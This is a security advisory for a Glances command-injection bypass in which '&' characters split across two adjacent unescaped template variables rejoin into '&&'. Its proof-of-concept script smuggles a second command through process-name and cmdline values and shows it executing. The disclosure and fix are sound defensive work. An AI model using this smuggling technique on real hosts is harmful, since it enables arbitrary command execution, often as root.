GHSA-qcpp-8x79-hhp3: OS Command Injection

Published Aug 17, 2026
·
Updated

Summary

The Glances action system lets an administrator configure shell commands that run when a monitoring threshold is crossed. The command is a Mustache template whose variables are filled with runtime stat fields such as a process name, a container name or a filesystem mount point. Those fields are attacker-influenceable: a local, unprivileged user who starts a process (or a container) controls its name and command line. The rendered command is executed by securepopen(), which interprets &&, | and > as chaining / pipe / redirection operators.

glances/actions.py defends against this with sanitizemustachedict(), which strips those operators from each individual template value before rendering. The sanitization is applied per field, but the operators are reconstructed across the boundary of two adjacent template variables after Mustache rendering. When an action template concatenates two unescaped variables ({{{a}}}{{{b}}} or {{&a}}{{&b}}) and the attacker makes the first value end with & and the second begin with &, the rendered command contains a real &&, and securepopen() executes the injected command. The single-& in each value passes the per-field filter untouched.

Affected versions

glances <= 4.5.5 (verified against the published PyPI release 4.5.5, the latest at the time of writing; glances.version == "4.5.5"). The per-field sanitizer sanitizemustachedict() is present and active in this release. Not patched in any released version.

Privilege required

Two roles are involved:

- A local, unprivileged user (or a container the attacker can name) supplies the attacker-controlled stat values (process/container name, mount point, etc.). This is the same trust boundary the action-template command-injection class already recognises: the attacker controls the process name, not the configuration. - An administrator has configured an action whose command template concatenates two unescaped Mustache variables with no separating character ({{{name}}}{{{cmdline}}}). Unescaped Mustache ({{{ }}} / {{& }}) is a documented Chevron feature and is the natural choice when the operator wants a value that contains shell-significant characters to reach the command verbatim.

No network access to the target host is required beyond the ability to run a process (or start a named container) on it.

Vulnerable code (file:line)

glances/actions.py:25-46 — the per-field sanitizer:

python glances/actions.py:25 SHELLOPERATORS = ('&&', '|', '>>', '>')

def sanitizemustachedict(mustachedict): """Return a copy of mustachedict with shell operators replaced by spaces.""" if not mustachedict: return mustachedict safe = {} for k, v in mustachedict.items(): if isinstance(v, str): for op in SHELLOPERATORS: v = v.replace(op, ' ') # per-field only safe[k] = v else: safe[k] = v return safe

glances/actions.py:100-111 — sanitize-then-render-then-execute:

python glances/actions.py:100 for cmd in commands: if chevrontag: safedict = sanitizemustachedict(mustachedict) cmdfull = chevron.render(cmd, safedict) # concatenation happens here else: cmdfull = cmd ret = securepopen(cmdfull) # operators interpreted

Root cause

sanitizemustachedict() removes &&, |, >>, > from each value in isolation. It does not remove a lone &, because a single & is not one of the listed operators. When two values are rendered next to each other by chevron.render(), a trailing & from the first value and a leading & from the second value join into a literal && in cmdfull. securepopen() then cmd.split('&&') and runs the second half as a separate subprocess.Popen (shell=False) process. The same reconstruction works for > written as two adjacent > characters split across the boundary (...> + >... and the >>/> stripping is per field), and the sanitizer's own choice to sanitize before, rather than after, rendering is the defect.

This is an incomplete fix of the action-template command-injection issue (CVE-2026-32608 / GHSA-vcv2-q258-wrg7): sanitizemustachedict() closes the single-field case but not the cross-field-reconstruction case. The correct place to enforce the operator ban is on the fully rendered command string (or by never letting template-variable data introduce operators), not on the pre-render values one at a time.

Chevron HTML-escapes &, <, >, " inside standard double-brace {{ }} sections, so double-brace templates neutralise the && reconstruction. The reconstruction is reachable specifically through unescaped variables ({{{ }}} / {{& }}), which is why the per-field sanitizer is the sole remaining control on that path.

Reachability / How input reaches sink

1. A local unprivileged user starts a process (or a container) whose name ends with & and whose cmdline begins with & <command> (both are stored verbatim in the plugin stat item). 2. When the plugin crosses a warning / critical threshold, glances/plugins/plugin/model.py calls self.actions.run with the full stat item passed as the mustachedict argument. 3. GlancesActions.run sanitizes each value with sanitizemustachedict() (each keeps its single &), then chevron.render() concatenates the two adjacent unescaped variables, producing a literal && in the command string. 4. securepopen(cmdfull) splits on && and runs the attacker's segment as a separate subprocess.Popen(shell=False) process.

The trust boundary crossed is process-name / container-name → shell operator, exactly the boundary the sanitizer was introduced to close.

Reproduction (end-to-end, against pinned version glances==4.5.5)

bash 1. Install the latest published release into a clean venv python3.13 -m venv gv ./gv/bin/pip install "glances==4.5.5"

2. Run the reproducer, which drives the real glances.actions.GlancesActions.run() pipeline exactly as glances/plugins/plugin/model.py invokes it on an alert. ./gv/bin/python repro.py

repro.py:

python import os, sys, time sys.argv = ['glances'] from glances.actions import GlancesActions

MARK = "/tmp/glancescrossfieldpwned" NEG = MARK + "neg" for f in (MARK, NEG): try: os.remove(f) except FileNotFoundError: pass

class Args: time = 0 ga = GlancesActions(args=Args())

A processlist stat item; a local low-privilege user controls both 'name' and 'cmdline' by spawning a process (the established GHSA-vcv2 threat model). 'name' ends with '&', 'cmdline' begins with '&' -> '&&' forms across the boundary. item = {'name': 'evilproc&', 'cmdline': '& touch %s' % MARK, 'pid': 1337, 'cpupercent': 99.0, 'key': 'pid'}

NEGATIVE CONTROL: the same values under an ESCAPED double-brace template are neutralised by chevron HTML-escaping '&' -> '&amp;'. negitem = dict(item); negitem['cmdline'] = '& touch %s' % NEG ga.status.clear(); ga.starttimer.start = time.time() - 999 ga.run("pl", "CRITICAL", ["logger p={{name}}{{cmdline}}"], repeat=True, mustachedict=negitem) time.sleep(0.3) print("NEGATIVE CONTROL (escaped {{name}}{{cmdline}}):", "INJECTED" if os.path.exists(NEG) else "blocked (expected)")

POSITIVE: an UNESCAPED template with two adjacent variables. Per-field sanitizemustachedict leaves each single '&'; the '&&' operator is reconstructed after chevron.render, then split by securepopen. ga.status.clear(); ga.starttimer.start = time.time() - 999 ga.run("pl2", "CRITICAL", ["logger p={{{name}}}{{{cmdline}}}"], repeat=True, mustachedict=item) time.sleep(0.5) print("POSITIVE (unescaped {{{name}}}{{{cmdline}}}):", "INJECTED - 'touch' executed" if os.path.exists(MARK) else "blocked")

Captured output (glances 4.5.5, Python 3.13, x8664 Linux):

NEGATIVE CONTROL (escaped {{name}}{{cmdline}}): blocked (expected) POSITIVE (unescaped {{{name}}}{{{cmdline}}}): INJECTED - 'touch' executed

The negative control confirms that the same attacker values under a standard double-brace template are blocked (chevron escapes &). The positive case shows the injected touch executing when the template uses two adjacent unescaped variables: the file /tmp/glancescrossfieldpwned is created by the injected command, not by the intended logger action.

Impact

- Arbitrary command execution as the OS user running Glances (frequently root on monitored hosts) whenever an operator uses an unescaped, adjacent-variable action template and an attacker controls two neighbouring stat fields. - The same reconstruction reaches securepopen()'s file-redirection (>) and pipe (|) handling, allowing arbitrary file write and output piping in addition to command chaining. - The bypass defeats the dedicated sanitizemustachedict() control that was added specifically to stop attacker-controlled stat values from injecting shell operators.

Suggested fix

Enforce the operator ban on the rendered command string that comes from template-variable expansion, rather than on the pre-render values in isolation. One approach that mirrors the existing helper: render each variable, then reject / neutralise operators in the concatenated result, or strip lone &/redirection characters that originate from variable data.

python def sanitizemustachedict(mustachedict): if not mustachedict: return mustachedict safe = {} for k, v in mustachedict.items(): if isinstance(v, str): # Neutralise every shell-significant character that securepopen # can interpret, including a lone '&' that could pair with an # adjacent variable to reconstruct '&&'. for ch in ('&', '|', '>', '<'): v = v.replace(ch, ' ') safe[k] = v else: safe[k] = v return safe

Neutralising the single & (and the single > / |) in each value removes the cross-field reconstruction because no operator character survives on either side of a variable boundary. Alternatively, sanitize cmdfull after chevron.render(), or pass the template-derived data as securepopen(..., allowoperators=False) when the command originates from stat-field substitution.

Credit

Reported by tonghuaroot.

Affected Software

1 affected componentFixes available
pip/glances<=4.5.5
4.5.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/glances to a version that resolves this vulnerability.

    Fixed in 4.5.6
  2. Configuration

    Modify the Glances action command handling so the ban on shell operators is applied after chevron.render() to cmd_full (the concatenated output of adjacent unescaped variables), rather than only inside _sanitize_mustache_dict() which currently strips from each individual template value.

    Glances action templates (glances/actions.py) operator enforcement = apply to rendered cmd_full instead of pre-render per-field values
  3. Compensating control

    Enforce the operator ban on the fully rendered command string (or prevent cross-field reconstruction) by rendering each variable first, then rejecting/stripping shell-significant operators on the final rendered result before passing it to secure_popen (instead of only applying _sanitize_mustache_dict() per-field).

Event History

Aug 17, 2026
Advisory Published
via GitHub·04:36 PM
Data Sourced
via GitHub·04:36 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of GHSA-qcpp-8x79-hhp3?

The severity of GHSA-qcpp-8x79-hhp3 is rated at 60.

2

How do I fix GHSA-qcpp-8x79-hhp3?

To fix GHSA-qcpp-8x79-hhp3, upgrade Glances to version 4.5.6 or later.

3

What type of vulnerability is GHSA-qcpp-8x79-hhp3?

GHSA-qcpp-8x79-hhp3 involves an OS Command Injection vulnerability.

4

Which software is affected by GHSA-qcpp-8x79-hhp3?

GHSA-qcpp-8x79-hhp3 affects the Glances software package, specifically when installed via pip.

5

When was GHSA-qcpp-8x79-hhp3 published?

GHSA-qcpp-8x79-hhp3 was published on August 17, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203